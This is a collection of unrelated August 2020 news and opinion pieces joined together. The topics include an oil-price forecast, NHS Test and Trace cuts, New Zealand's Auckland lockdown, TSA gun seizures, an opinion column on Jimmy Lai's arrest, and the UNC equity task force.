foreign investment in coming years, reversing a previous trend toward welcoming foreign capital. This as their production has entered a gradual production decline from 2.3 mm BOPD to about 1.75 mm BOPD during the last five years. Oil companies are becoming leery of deploying capital in marginal areas, as noted by the huge asset valuation write-downs taken by all of the Super Major oil companies in the first half of this year. Any notion that their capital is going to be subjected to an eventual heavier tax regime, or outright nationalization, will send them into hibernation. Your takeaway Overall, the case for oil supplies and production rates continuing to diminish and for prices to continue to rise, is stronger than the inverse scenario. We expect year-end U.S. domestic shale production to be in the neighborhood of 5-mm BOPD. This represents a YoY decline of about 45%. This stark view is not widely held by the market, notably with the EIA-STEO forecasting the decline to be only about 2-mm BOPD. Thats the problem with forecasting- you never have enough data. Heres what we know. In January of 2020 with 805 rigs running U.S. shale production peaked at 9.3 mm BOPD. A moderate decline rate of 50% (annual shale decline rates vary from 30% for great, Tier I acreage wells, to as high as 70% YoY for lower tiers or poorly completed wells.), for legacy decline from the first of the year would see production halved. EIA-Drilling Productivity Report If 2020 averages 435 rigs per day, thats ~350K BOPD new production from drilling for the year. In that scenario we add that new oil to whats left after legacy decline, ~4.6 mm BOPD, and we get ~5-mm BOPD. Numbers dont lie. This is admittedly simple math for an incredibly complex actual-almost incalculable calculation, but if I am even close to being right, and storage truly does get worked off around the worldget ready for $100 oil. By David Messler for Oilprice.com More Top Reads From Oilprice.com: Thousands of call handlers hired for the NHS Test and Trace scheme are set to be sacked as the beleaguered scheme is 'reconfigured' because staff simply 'do not have enough to do', it emerged today. Britons who fail to answer calls from the service may now face a knock on the door after staff only reached half of at-risk people on the phone. One tier-three contact tracer told BBC Radio 4 Today show he has had just four calls since the end of May, 'only one of which was successful.' The worker described the training for the scheme as 'woefully inadequate', adding: 'The rest of the time Ive been literally doing nothing, sat in front of my computer, refreshing every ten minutes, waiting for the calls to come in and twiddling my thumbs.' Dr Jeanelle de Gruchy, President of the Association of Directors of Public Health, denied the government had performed a U-turn on the scheme that Boris Johnson had promised would be 'world beating'. Dr de Grouchy told the BBC the Test and Trace scheme was instead going through an 'evolution'. Health minister Edward Argar insisted NHS Test and Trace was a 'successful system' amid the news that a third of telephone contract tracers would be cut. But he denied the Tories had given 'big fat contracts to private companies like Serco instead of local councils' when probed by Radio 4's Nick Robinson today. In a dramatic bid to improve the scheme, the Government's army of call centre contract tracers will be slashed by a third - from 18,000 to 12,000 - with much greater use made of local public health teams. Council employees in at-risk areas could end up knocking on the doors of people who have been exposed to the virus but who don't answer the phone calls or emails of Test and Trace. The national operation is still failing to find half of close contacts of infected people, well below the 80 per cent minimum threshold needed to keep a lid on local outbreaks. Under the plans, local authorities will be called upon if the NHS tracers can't reach people within 48 hours. They will use their knowledge of local areas to find people, and their community ties to engage with harder-to-reach people in deprived areas and those who do not speak English. Nearly 100 local councils are considering setting up their own contact tracing teams. Under the plans, councils would support NHS Test and Trace by sending tracers to chap on doors of people who refuse to answer the phone to, or reply to emails from, the national team (file) SAGE report finds contact tracers are only getting in touch with ONE contact a month A new report from the Independent SAGE group of scientists claims that NHS Test and Trace workers are getting in touch with only one contact a month each. Up to 25,000 people are working as contact tracers but between the end of May and end of July they have only reached 51,524 contacts of confirmed coronavirus cases. Across the two month period that averages out at a little over two contacts per tracer, reported The Daily Telegraph. Only 91,785 names have been entered into the track and trace system, meaning that workers would on average have less than four people to contract in those two months. The report has criticised the centralised design of the NHS tracing system. Independent Sage is led by former Government chief scientific adviser Professor Sir David King. Advertisement Experts have told MailOnline that language barriers and trust issues are the main factors behind the low success rates of the NHS system in many of England's worst-affected areas. It's thought that 94 local authorities have already expressed interest to Public Health England about deploying their own tracers. Contact tracers working for the national system, based in call centres around the country and on 17-an-hour contracts, have hit headlines repeatedly for not having enough work to do, with some saying they were being paid to sit around watching Netflix. He told Sky News: 'I think this is actually, this is a reflection of a successful system that, as we've always said, will flex and evolve to meet our understanding of the disease and the changing needs of our communities. 'But in terms of the 'world beating', the world comparators, we are one of the few countries in the world that actually publishes transparently, quite rightly so you and others can question us on it, our test and trace data.' He added: 'We are making contact with just shy of 80% of those who test positive and then we are making contact with around a similar amount of their contacts. This is better than many, many other countries, look at New Zealand, they have a slightly higher percentage success rate, they've traced 360 people. 'We've traced a quarter of a million in the space of about two and half months, that is a significant achievement... so I do think that this is a reflection of an effective system built up rapidly that is now evolving to reflect the changing needs of local lockdowns and a local-centric approach.' Asked about transmission of the virus in relation to secondary pupils, the health minister said the Public Health England research was 'still work in progress'. He told Sky News: 'I think we should be cautious about reading too much into that work in progress, it's important work but it isn't complete yet.' He added: 'On the basis of the work that has been completed and those international comparators, we are confident that children and young people are much less at risk from this disease and from passing it on than other adults more broadly in the community. 'On the basis of the evidence we have thus far, we believe that the levels of transmission between young people and the infectiousness is low. In terms of schools and the approach to getting pupils back in schools. The Prime Minister's made absolutely clear this is a national priority. Every day that children are out of school is a day lost to them, so we are going to get all pupils back to school from September.' He added: 'We do have the measures in place, including testing and tracing and including the sort of measures we've seen - local lockdowns if they were necessary, but at the moment schools are a low-infection, low-risk environment compared to say some of the local lockdown areas.' Leicester, Blackburn and Luton - which have some of the highest infection rates in the country - set up their own local teams earlier this month to help curb their outbreaks. It comes only a week after a major Lancet study suggested the test-and-trace service was not operating effectively enough to prevent a second coronavirus wave when schools reopen next month. Last night, Department of Health officials insisted the changes were part of a 'planned next step' and nothing to do with the Lancet study or the growing criticism of the programme. But the changes are likely to be seen as a tacit admission that the system which ministers had claimed would be 'world-beating' was not working well enough ahead of a feared second wave. Under the new plan, call-handlers who have been unable to get in touch with a 'close contact' someone who has spent at least 15 minutes in the proximity of a patient with the virus will be told to pass their details on to local health teams. These teams will then decide whether to visit the contacts directly at home to tell them to self-isolate for 14 days. The task of door-knocking all contacts who haven't answered their phones will be time consuming, so the squads are likely to focus on those living in areas of concern, where infection rates are rising. The plans to establish local teams were unveiled by the Department of Health today. Announcing the move, Dido Harding, executive chair of NHS Test and Trace, said: 'We have always been clear that NHS Test and Trace must be local by default and that we do not operate alone we work with and through partners across the country. 'As we learn more about the spread of the disease, we are able to move to our planned next step and become even more effective in tackling the virus. 'After successful trials in a small number of local areas, I am very pleased to announce that we are now offering this integrated localised approach to all local authorities to ensure we can reach more people in their communities and stop the spread of Covid-19.' Reopening schools in September WILL lead to a catastrophic second wave of coronavirus unless NHS test and trace drastically improves, major study claims Children returning to school in September will trigger a devastating second wave of Covid-19 that could infect twice as many as the first unless the test and trace system drastically improves, a major study has claimed. Scientists said reopening schools in the UK would inevitably result in another crisis that peaks in December. But it could be avoided with pubs remaining open and no draconian lockdowns needed if testing is dramatically ramped up and the contact tracing system becomes better. Three quarters of people with Covid-19 would need to be tested and self-isolate to prevent a second wave caused by schools reopening. Experts found that, to prevent a second wave when schools reopen, the NHS contact tracing system must reach 68 per cent of cases and their contacts. But the current NHS system is 'not good enough'. It reaches half of contacts and only a fraction of symptomatic cases are tested, according to researchers from University College London and the London School of Hygiene and Tropical Medicine. Advertisement Local public health officials had been crying out for months to be given the power to do their own contact tracing. Gerry Taylor, Luton borough council's director of public health, said last month she was 'very concerned' at the low rate in her town and blamed the centralised system for being too far removed from communities. Luton has since become one of the first areas to have its own local, dedicated tracing team. Blackburn with Darwen Council also launched its own track and trace scheme to combat a rise in infections in the area. Its public health chief, Professor Dominic Harrison, said the national system was 'simply not tracing enough cases and contacts fast enough'. Reacting to today's news, James Jamieson, chairman of the cross-party Local Government Association, said: 'This announcement is good news for everyone. 'A strong national and local partnership is critical for test and trace to work as effectively as possible and it is right that local resources are kept under constant review to ensure everyone involved is able to help stop the virus spreading further. 'Using councils' unrivalled local knowledge and vast experience of contact tracing within local public health teams is vital in the Government's national efforts.' It comes after a study by University College London and the London School of Hygiene and Tropical Medicine last week found reopening schools will cause a devastating second wave if the test and trace system drastically improves. Scientists said reopening schools in the UK would inevitably result in another crisis that peaks in December. But it could be avoided with pubs remaining open and no draconian lockdowns needed if testing is dramatically ramped up and the contact tracing system becomes better. Three quarters of people with Covid-19 would need to be tested and self-isolate to prevent a second wave caused by schools reopening. Experts found that, to prevent a second wave when schools reopen, the NHS contact tracing system must reach 68 per cent of cases and their contacts. But the current NHS system is 'not good enough'. It reaches half of contacts and only a fraction of symptomatic cases are tested, according to the researchers. Three quarters of people with Covid-19 would need to be tested and self-isolate to prevent a second wave caused by schools reopening. Labour today wrote to Heath Secretary Matt Hancock demanding urgent reform of the system ahead of schools going back next month. The party wrote: 'The stakes are too high to tolerate failure in either the operation or the design of this crucial public service. 'We cannot afford for the test and trace system to continue as it is without rapid reform. It is not too late to improve the system and put in place new, locally-led contact tracing measures.' A major study by University College London and the London School of Hygiene and Tropical Medicine found a second wave could only be prevented when schools go back if 68 per cent of close contacts of Covid-19 patients are tracked down and isolated Opposition health spokesman Justin Madders added: 'Labour has been calling for a locally-led contact tracing system for months it's welcome that local authorities are now finally being given additional support to tackle the virus in their areas. 'But it's clear Boris Johnson's 10 billion centralised contact tracing system is nowhere near 'world-beating' as he claims and the system is unable to fight local outbreaks successfully.' Meanwhile, Boris Johnson told teachers today they have a 'moral duty' to help schools reopen next month as he faced a standoff with unions. The PM warned it is 'not right' that pupils should spend more time out of the classroom, reiterating his determination for a full return when term begins. While he was careful to praise the work done by teachers and unions to make schools 'safe' in time for the move, he added: 'It is our moral duty as a country to make sure that happens.' The intervention - on a visit to a school in Upminster - came as unions were accused of a bid to sabotage the government's plans with a 200-item list of safety demands. The National Education Union has provided its half a million members with a 'checklist' of Covid-secure measures, saying they should 'escalate' complaints if they are not being followed. There have also been calls for pupils to be taught on a week on, week off rota. But Professor Russell Viner, president of the Royal College of Paediatrics and Child Health and a member of Sage, said studies had suggested children were 'very minor players in the transmission overall' of the virus. And he insisted teachers were not at significantly higher risk than any other workers. Ministers have also played down calls for teachers and pupils to be routinely tested whether or not they have symptoms. James Jamieson, chairman of the Local Government Association, which represents councils, said: 'This announcement is good news for everyone. A strong national and local partnership is critical for test-and-trace to work as effectively as possible.' The Lancet research by academics at University College London and the London School of Hygiene and Tropical Medicine said that ideally, at least 68 per cent of all close contacts needed to be alerted by teams and told to self-isolate. If this threshold is not reached, they warned that the reopening of schools at the beginning of next month could trigger a second wave, possibly much bigger than the first. But the figures last Thursday showed that only 46 per cent of close contacts were alerted, a drop from 51 per cent on the previous week and well below the 68 per cent mark. The Presidential Investigative Committee on the EFCC under the chairmanship retired Justice Ayo Salami panel have been given more powers to widen its probeonly that it still spares some sacred cow. So henceforth, Justice Salami and his members will derive their authority from the section 1 of the Tribunals Inquiry Act (CAP T21, LFN, 2004) In that wise, the panel has been mandated to move out of its Aso Rock chamber, and conduct public sittings in order to unearth all the allegations against the EFCC suspended boss Ibrahim Magu, his directors, some of the high-profile suspects, including Diezani Allison Madueke, the PID case, and others. But observers, however, are worried the dragnet covers Magu alone, and leaves out the other major character, AGF Abubakar Malami, and his roles many have critiicised in the federal government anti-corruption. Malami has also been delicately enmeshed in corruption allegations in cases the commission, which his office supervises, have handled between 2015 and now. In his defence, Magu named Malami in certain cases, especially high-profile cases the commission had gone far prosecuting, and others like selling impounded vessels when the case is still in court. Just days ago, a coalition of anti-corruption NGOs petitioned President Muhammadu Buhari, presenting a catalogue of allegationscorruption, abuse of office, self-enrichmentagainst the justice minister. Earlier, Sahara Reporters, too, unearthed an estate of landed properties belonging to Malami, whom the online news portal described as a little known lawyer before he was appointed in 2015. Malami, in what seemed a knee-jerk reaction, wrote a letter to Buhari August 10, saying he was already made of moneywith 27 pieces of estatebefore he became minister. The law of Nigeria doesnt preclude one from eating the fruit of ones establishment, he added. Head of Psychology of University of Ghana, Prof. Joseph Osafo has supported President Nana Akufo-Addo's call for clemency for some 14 SHS students who rained insults on him after writing their Integrated Science final examination. GES Punishes The Students The Ghana Education Service (GES) dismissed and barred the students from writing the rest of the WASSCE papers because of their misconduct. The students together with some teachers who were tasked to invigilate them during the examination were all punished by the GES. Students who dismantled properties belonging to their schools have been surcharged for the full cost of the damages and referred to the Police to launch a full-scale investigation into the matter. ''It is expected that these measures, very harsh as they might seem, are necessary to ensure that the students appreciate the significance of good conduct and discipline in their actions'', a statement by the GES read. President Akufo-Addo Pleads For Leniency Following GES' sanctions, President Akufo-Addo pleaded with the education authority to allow the students to write their final exams. In a statement signed by the Director of Communications Office of the President, Eugene Arhin, all other punishments imposed by the relevant authorities should remain effective. "Even though the acts of indiscipline undertaken by these students are intolerable, acts which have led to their subsequent dismissal from school, President Akufo-Addo is of the firm view that dismissal alone is enough punishment, and will serve as enough deterrent against future acts of indiscipline," the statement said. Pardon The Students Speaking to host Kwami Sefa Kayi on Peace FM's ''Kokrokoo'', Prof. Joseph Osafo applauded the President for giving the school children a second chance. He stressed that although they have misbehaved, it's best for the education authorities to be reformative in their approach than taking harsh decisions on the students. ''I think that when people are in the reformative stages in their development, they need modification...Even animals are domesticated. Humans can change when they're given a second chance.'' He added that the students must not be crucified but rather the authorities should ask themselves certain questions that may lead them to a more plausible solution. ''Under which circumstances are the students behaving like this. Which period, which time, what happened? Is there anything we can do to pardon these school children and give them another chance? I mean I ask myself a few questions. What led the children to do what they did? Are they frustrated? Do we have the data about them when they were going back to the school?'' he questioned. He asked the authorities and parents of the students to help them turn over a new leaf saying ''parenting children and helping them get responsible is work. And for me, I think it's a good job for all of us to help these kids''. Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video I found myself in tears on my morning run recently. Not the first time its happened and no doubt not the last. I wasnt crying from pain, although that has been the case. I once tripped over a rock in Yarra Bend Park and face-planted in the dirt, boy that stung. But this time I was crying for my dear old dad. Dad is going OK now but a couple of days ago I had to rush him into hospital emergency. Hed collapsed at home and it turned out hed had a couple of small strokes. His heart had developed a type of arrhythmia. Hes had great medical care and it looks like theres a straightforward treatment that will get him back on track. But it was a shock, and a frightening episode, made all the worse by the impact of the pandemic. Loading I took him into emergency, driving through near-deserted streets and wondering if Id get picked up for being outside my five-kilometre bubble. Dad was weak and a bit anxious. I sat with him at the reception window and helped explain what had happened. But that was as far as I was allowed to go. I couldnt go into the emergency department with him. I had to watch him shuffle through the doors alone. I relayed all I knew to the rest of the family and spoke to the hospital doctors over the phone, who were kind and informative. But no visitors allowed, not even Mum. Instead of sitting by his bedside she had to sit in their house alone. No visitors allowed there either. I try hard to keep positive and count my blessings during this awful time. Were all well, we have jobs, we are able to support our children at home. Were more fortunate than so many. But since the first round of restrictions I have been terribly worried that something will happen to my elderly parents and I wont be able to be with them. New Zealand's remarkable COVID-19 run is over, with the country plunging back into lockdown after four members of the same family tested positive to the virus on Tuesday. The nation has been the envy of the world for its handling of the COVID-19 crisis, with Monday marking 101 days without a single case of community transmission. For three months, New Zealanders enjoyed the return of usual freedoms after an autumn lockdown proved effective in eliminating the deadly virus. But Prime Minister Jacinda Ardern scheduled an unexpected press conference for 9.15pm on Tuesday night and announced those freedoms would be put on hold. Stay-at-home orders will be implemented throughout Auckland for 72 hours from midday on Wednesday after the four new cases were identified in the city. More than 1.6million people won't be allowed to leave their homes except for essential reasons. The rest of the nation will enter a level two lockdown - mandating social distancing and placing caps on gathering sizes. Contact tracing is now underway among multiple workplaces across New Zealand, and close contacts of the confirmed cases have been ordered to self isolate. The popular PM will plunge Auckland back into a stage three lockdown from Wednesday in an attempt to stem the spread of the virus as part of her 'resurgence plan' Ms Ardern is concerned about the origin of the outbreak, given the family have no links to overseas travellers or managed hotel isolation. An Auckland man in his 50s tested positive to coronavirus twice on Tuesday, five days after he first developed symptoms, sparking fears he could have spread the virus throughout his community. The man's partner and preschool aged child are also among the new confirmed cases. 'We have not yet been able to determine the source of these cases, there is no known link to hotel quarantine,' Ms Ardern said on Tuesday night. 'One of the most important lessons we have learned from overseas is to go hard at this... in line with our precautionary approach, we will be asking Aucklanders to take swift lockdown.' Ms Ardern revealed authorities are 'expecting to see more cases' linked to the cluster. The new lockdown is part of the prime minister's coronavirus 'resurgence plan', but could wreak havoc on the already struggling economy. More than 1.6million people won't be allowed to leave their homes unless for essential reasons as four new cases of community transmission were identified on Tuesday Countdown supermarkets are experiencing unprecedented demand after the lockdown announcements were made New Zealanders received this text message on Tuesday evening, informing them of the latest restrictions The Reserve Bank indicated back in May that just four weeks of stage four lockdown had wiped $10billion from the economy. Data released for the March 2020 quarter revealed the GDP slumped by almost two per cent. The COVID-19 lockdown started just four days before the report was finalised, meaning the true scale of the economic impact won't be felt until the June quarter report is released on September 17. Early indications suggested the lockdown could wipe nine per cent from the nation's GDP for 2020. While the country's GDP has taken a major hit, unemployment levels actually dropped during the pandemic. New Zealand's jobless rate in the second quarter of 2020 fell to about four per cent, from 4.2 per cent in the previous reporting period. That figure was well below market expectations, which indicated the figure could be upwards of 5.8 per cent. Some 111,000 Kiwis are currently unemployed, but there a fears another lockdown could cause that number to soar. The latest restrictions has 'sent chills down the backs of businesses,' Infometrics economist Brad Olsen said after the announcement. 'Initial Infometrics estimates are that 28 per cent of Auckland's workforce [or 250,000 people] could be unable to work at level three,' he revealed. The latest lockdown could 'send chills down the backs of businesses,' Infometrics economist Brad Olsen said after the announcement. Data released for the March 2020 quarter revealed the GDP slumped by almost two per cent (pictured) While the country's GDP has taken a major hit, unemployment levels actually dropped during the pandemic. New Zealand's jobless rate in the second quarter of 2020 fell to about four per cent, from 4.2 per cent in the previous reporting period 'Our immediate estimates suggest that spending Auckland could be $60 million to $69m lower throughout the three days of level three announced.' The short lockdown could knock 0.2 percentage points off the GDP for the September quarter alone, his colleague Gareth Kiernan said. While Ms Ardern and her experts aimed for total elimination of the virus, some experts feared the economic cost wasn't worth the potential gain. Prior to the crisis, tourism was New Zealand's biggest export industry, and contributed $16.2 billion annually - or 5.8 per cent - to the GDP. Further indirect contributions topped $11.2 billion and made up a further four per cent of the GDP. The entire industry came to a screeching halt when Ms Ardern closed the borders to international travellers in March. 'You are asked to stay home in your bubble unless you are an essential worker,' she said of the latest lockdown. Prime Minister Jacinda Ardern scheduled a last minute press conference for about 9.15pm on Tuesday night as word spread of the lockdown All bars, restaurants and public services must close by midday on Wednesday, as gatherings of more than 10 are prohibited. Schools will also close to all students other than children of essential workers. 'If you are in Auckland, we ask that you wear a mask when accessing essential services,' Ms Ardern added. 'While this initial three day lockdown will primarily effect the Auckland region, I am asking our team of five million to stay alert as well. We have defeated this virus before and can do it again.' The rest of the nation will enter a three day level two lockdown. Level two lockdown involves social distancing, mindful hand-washing regimes, staying home and seeking testing if unwell, and wearing a mask in areas where distancing isn't possible. Ms Ardern would not indicate whether the lockdown would be extended if contact tracing and widespread testing do not identify the source of the current outbreak. Police stop vehicles in Auckland during the initial stage four lockdown in March Auckland will reenter a stage three lockdown from midday Wednesday. Pictured: Police performing checks during the last lockdown 'If we are not able to identify the source, we should be able to identify whether we have wider geographic spread,' NZ's Director General of Health Ashley Bloomfield said. 'We have been saying for some weeks that it was inevitable that New Zealand would get another case of community transmission.' Authorities hope their swift action will help to manage the potential spread of the virus following the latest outbreak. 'We've had 102 days, and it was very easy to feel like New Zealand was out of the woods,' Ms Ardern said on Tuesday night. 'No country has gone as far as we did to not have a resurgence. But because we were the only ones, we knew we had to have a plan. 'My request is to not be dispirited or disheartened... This is something we have prepared for.' New Zealand first went into level four lockdown on March 25, acting swiftly once the threat of COVID-19 was present. By April 27, the virus appeared somewhat under control and the lockdown was eased to level three. Passengers wear protective masks and gloves at Auckland International Airport following an initial outbreak in April Queen Street in the Auckland CBD was deserted durung the last COVID-19 virus lockdown in March May 13 signalled the beginning of level two lockdown while most restrictions were entirely eased on June 9. Ms Ardern said she has no doubt New Zealand will defeat the virus for a second time. Following the announcement, Auckland Mayor Phil Goff called for calm within the community. 'I understand that people are probably feeling a little bit scared, a little angry and a little confused right now. None of us wanted to go back into a lockdown, but we always knew this was a very real possibility,' he said. 'I am urging Aucklanders to come together like we did last time to stamp out community transmission. Please remain calm, please do not panic buy and please follow the lockdown rules.' New Zealand records first cases of community transmission of COVID-19 for 102 days THE CASES * Four members of a south Auckland family have tested positive to COVID-19. * The 'index case' is a person in their 50s who has been symptomatic for five days and has no overseas travel history. * Six family members received a rapid test on Tuesday evening; three tests came back positive and three are negative. * Health officials are moving to isolate and test contacts of the family, including two Auckland workplaces. THE RESPONSE * Auckland returns to a 'level three' lockdown from noon on Wednesday until midnight on Friday. Aucklanders are being asked to stay home except for essential work or essential needs. * The rest of New Zealand returns to 'level two' for the same timeframe, with caps on gatherings and the return of social distancing. * These measures have been enacted to buy health officials time time to test and isolate contacts, and to locate the source of the outbreak. * Every worker at NZ's border regime and managed isolation facility will also be tested in the next few days. Advertisement Ms Ardern assured the public supermarkets would remain open and fully stocked during any lockdown, and urged people not to flock to stores. Despite her plea, supermarket stores across Auckland were inundated with panicked residents by the time the press conference finished. About 50 people queued out the front of Countdown in Westgate, northwest Auckland, by about 10pm on Tuesday night. The store normally closes about 11pm, but shut its doors at 10.30pm following the influx of people. Countdown at Manukau and Johnsonville in Wellington are experiencing similar crowds of shoppers hoping to stock up on essentials. The cases bring into question New Zealand's election day scheduled for September 19. New Zealand First, the party of Deputy PM Winston Peters, suspended its campaign in the wake of the announcement. Ms Ardern discouraged panic buyers following the announcement of new lockdown orders. Pictured: Shoppers queuing into the distance outside a Costco in Melbourne to stock up ahead of Stage Four restrictions and a curfew Exports of Ukrainian wheat may decrease in MY 2020-2021 13:20, 11.08.20 2957 The supplies are projected at 17.2 million tonnes. Despite a drastic decrease in airplane passengers because of the coronavirus pandemic, the rate of customers illegally transporting firearms in carry-on bags was three times as high in July as it was during the same month last year, the Transportation Security Administration said on Monday. Last month, the agency found 15.3 guns transported illegally in carry-on bags per million passengers. In July 2019, it found 5.1 guns per million people screened, the T.S.A. said. With the spread of the coronavirus, the agency noted 75 percent fewer passengers compared with last year, making the rate particularly alarming, the agency said in a statement. Even more concerning is that 80 percent of the firearms coming into the checkpoint are loaded, and its just an accident waiting to happen, David Pekoske, the agencys administrator, said. Travelers need to know that if they bring a gun to the security checkpoint, regardless of whether it is in a handbag, knapsack, roller-bag or strapped to their belt, it will be an inconvenient and expensive mistake on their part. The increase in the rate may reflect the fact that there has generally been an increase in gun sales since the coronavirus crisis began. By Finian Cunningham August 10, 2020 " Information Clearing House " - The arrest of Hong Kong media mogul Jimmy Lai has sent Western news outlets into a tizzy. We are told that free speech is under attack by the Chinese authorities who are supposedly rolling back democracy on the semiautonomous island city. Lai was arrested in the offices of his media company and led away in handcuffs by police officers. He is charged with colluding with foreign powers in undermining Beijings sovereign authority. Western media are claiming that his arrest is an example of the alleged abuse of a new security law imposed on Hong Kong by the Beijing central government. That law proscribes activities deemed to be seditious or subversive. For well over a year now, Hong Kong has been in upheaval from protests against the central government in Beijing. Those protests have involved massive violence and destruction of public property, including the torching to death of innocent bystanders. Law and order in Hong Kong is the sovereign responsibility of Beijing ever since Britain handed back its former colony to China in 1997. The street protests under the guise of pro-democracy movement are but a Trojan Horse for Britain and the United States to interfere in Chinas internal affairs and destabilize Beijings sovereignty. No Advertising - No Government Grants - This Is Independent Media Get Our Free Newsletter Washington and London have stepped up sanctions and reprimands against the Chinese government in line with boosting the protests. The leaders of the Hong Kong demonstrations have been hosted by American and British officials. Some of them even live in exile in London. There can be no clearer evidence that the United States and Britain are exploiting Hong Kong as an entry point for weakening China, just as they did in past centuries as imperial powers during the Opium Wars. The geopolitical tensions with China have become ever-sharper over the self-inflicted disastrous mismanagement of the coronavirus pandemic in the US and Britain. Those two countries are the world leaders in terms of death toll from the disease. But there is also the bigger background picture of Washington becoming increasingly hostile towards Beijing (and Moscow) owing to what it calls great power competition. In this context, Britain is serving as Washingtons snarly lapdog for snapping at the heels of China (and Russia). So, how about Jimmy Lai? The 71-year-old media magnate was born on the Chinese mainland. His once wealthy family is reputed to have lost their privileges when communist rule was established in 1949. Lai sounds like a perfect cipher for Western ambitions of regime change in Beijing. Western media, not surprisingly, have lionized him as a leading pro-democracy advocate. One of his newspapers, Apple Daily, is described by Associated Press as a feisty pro-democracy tabloid that often condemns Chinas Communist Party government. Thats quite astounding understatement. Lai has personally taken part in unlawful demonstrations and his media outlets have acted brazenly as agents of provocation, or sedition. Earlier this year, Apple Daily ran a front page appeal by its owner to US President Donald Trump, beseeching the American leader to intervene in Hong Kong to save us from the Chinese government. Last year just as protests were erupting in Hong Kong, Lai was feted in Washington by Vice President Mike Pence and Secretary of State Mike Pompeo. The agenda of their discussions included Chinas security affairs. Now lets run this scenario again with a slight change of actors and location. Imagine if a media mogul in Seattle was publishing newspaper headlines every day condemning the federal government in Washington and openly calling for repudiation of US sovereignty. Imagine if this American media mogul flew to Beijing and was photographed holding private discussions with top government officials about law and order affairs. There is more than a fair chance, to say the least, that said media mogul would be arrested by US federal officers and pilloried for being a traitor. The double standards and arrogance of the US and British media are staggering in their coverage and commentary regarding Hong Kong. Hong Kong was ruled from London as a colony for nearly 150 years without even a token of democracy. Yet all of a sudden, we are led to believe, Britain has discovered concern for democracy in Hong Kong, while the Americans apparently cherish freedom in the Chinese territory freedom, that is, to subvert the government in Beijing. We are keenly aware that some members of our academic community may know, on a visceral level the traumatizing pain of racism while others are safely insulated from these lived experiences. Collectively, we believe that silence equates to consent. United, in this historic moment, we choose not to be silent, but instead to be active agents of change in this teachable moment. This work ahead of us is not about diversifying the system aesthetically, primarily, but about advancing equity through our actions and policy. Equity means the equality of being fair and impartial. Are there areas within our system and within each of our institutions where actions and policy can be a little fairer and more impartial? A diverse and inclusive organization or system operates with the belief that the solution to the problems it faces can be found [by] affirming individuals' similarities and finding value in their differences. Equity seeks to ensure fair treatment and equality of opportunity for all our faculty, staff, and students. And I'm confident that all of us desire equal participation and outcomes across the system so that we can close achievement gaps in student success; build a strong pipeline of faculty, staff, and administrators who are just going to have to work a little harder at making it so. Equity in student recruitment, enrollment, and success outcomes Recruiting and retaining diverse and equity-minded practitioners and leaders Supporting safe and inclusive campuses On June 8, interim UNC system president William Roper and chairman of the Board of Governors Randy Ramsey announced the establishment of a race and equity task force. The announcement came a day after three individuals associated with the UNC system wrote a letter requesting that such a task force be established.In the letter, David Green, Garrett Killian, and Isaiah Green wrote that they condemn acts of violence againstThey continued:The authors argued that the university system is obligated to teach about racism and to ensure that all "people of color" in particular "Black stakeholders" have a right to feel included and valued.In response, Roper and Ramsey wrote that they "support the sentiments expressed" in the letter. They noted that recent acts of violenceRoper and Ramsey wrote. They then announced that the equity task force will be established as a six-member special committee of the Board of Governors, with board member Darrell Allison as chair and board members Kellie Blue and Anna Nelson as vice chairs.According to the memorandum, the task force is expected to meet with students, faculty, and staff groups to discuss issues of race and equity in the UNC system, as well as concrete steps that can be taken to achieve greater "equity and understanding." The task force will also prepare a report of recommended metrics and goals which will be presented to the full board on October 2.The task force had its first meeting by video conference call on July 9. Chair Allison kicked off the discussion by stating that he believes it is important for everyone on the task force to start with a common understanding of terms that will be used in their work.He continued:Allison said that the task force's work will be defined by three focus areas:Each member of the task force will focus on one area. The task force will also host campus conversations and conduct a statewide survey in August and September.Following Allison's comments, two UNC staff members gave data presentations.Shun Robertson, the UNC system's senior associate vice president for P20 policy and programs, presented data on educational disparities within North Carolina and the UNC system. She stated that postsecondary education is vital because workforce demand for skilled workers continues to increase.she said.she reported.Robertson then said thatRobertson said that the UNC system needs toof students. She noted that for every 100 North Carolina freshmen, 22 do not graduate from high school on time. Forty-three out of every 100 graduate on time butTwenty for every 100 enroll but fail to graduate on time.Robertson pointed to the difference in graduation rates by race and said that it's important to disaggregate data this way because it is theAnd data do reveal differences in student outcomes. For example, the data Robertson presented show thatOf North Carolina high school graduates who immediately enroll in a UNC system school, 41 percent are Asian, 26 percent are white, 23 percent are black, and 16 percent are Hispanic.There is also a great deal of variation in graduation rates. According to 2011 data Robertson provided, 78 percent of Asian students graduated, 75 percent of whites, 56 percent of blacks, and 69 percent of Hispanics.In conclusion, Robertson suggested that the task force might want to consider implementing or improving college readiness programs, student advising and support, college affordability, mental health programs, and community college transfer initiatives in order to "close the gap" in student outcomes. She also suggested that the task force look deeper into institutional-level data on student success.Next to present was Chris Chiron, UNC-Chapel Hill's senior director for employee and management relations in the office of human resources. Chiron reported on two Diversity, Equality, and Inclusion surveys from 2018 and 2020. According to the 2020 survey, 75 percent of white UNC employees agreed thatOnly 67 percent of Hispanic employees and 58 percent of black employees agreed with the statement. Forty-nine percent of white and Hispanic employees both agreed that "promotions are based on a person's ability," while 41 percent of blacks agreed.After the presentations, Allison turned to how the task force will engage with campuses. He introduced David Green, former chair of the UNC system faculty assembly, and Garrett Killian, chair of the UNC system staff faculty to provide an overview of campus engagement strategies.Green said that the most important thing they will do as a task force is to "listen" to students, faculty, and staff, and respond to their concerns. Some campus engagement listening sessions will take place in person, despite COVID-19. He noted that they are committed to conducting about four or five visits to each campus.Killian said that the staff assembly will engage with faculty, staff, and students through multiple platforms such as in-person town hall meetings, live feedback via Zoom sessions, private emails, and engagement surveys.The Martin Center will continue to provide updates on the equity task force's work and its forthcoming recommendations. BAKU, Azerbaijan, Aug. 11 Trend: In the early 1990s, the then leadership of Azerbaijan the PFPA-Musavat tandem allowed for the occupation of our lands, Azerbaijani President Ilham Aliyev said in an interview to Azerbaijan Television following a ceremony at Baku Deep Water Jackets Plant named after Heydar Aliyev to send a jacket of Garabakh field offshore, Trend reports. Azerbaijan signed contracts with foreign partners on a number of fields, but not all of them were effective. The implementation of many of them has already been stopped, their execution has been terminated and the drilled wells did not meet our expectations. As for the development of the Garabagh field, I want to say again that there was always confidence that there is great potential here, there are large reserves of oil and gas in the field. But, as I said, three wells were drilled in the 1990s, foreign partners stated that further investment would be ineffective and the Garabagh field was abandoned. As a matter of fact, we did not 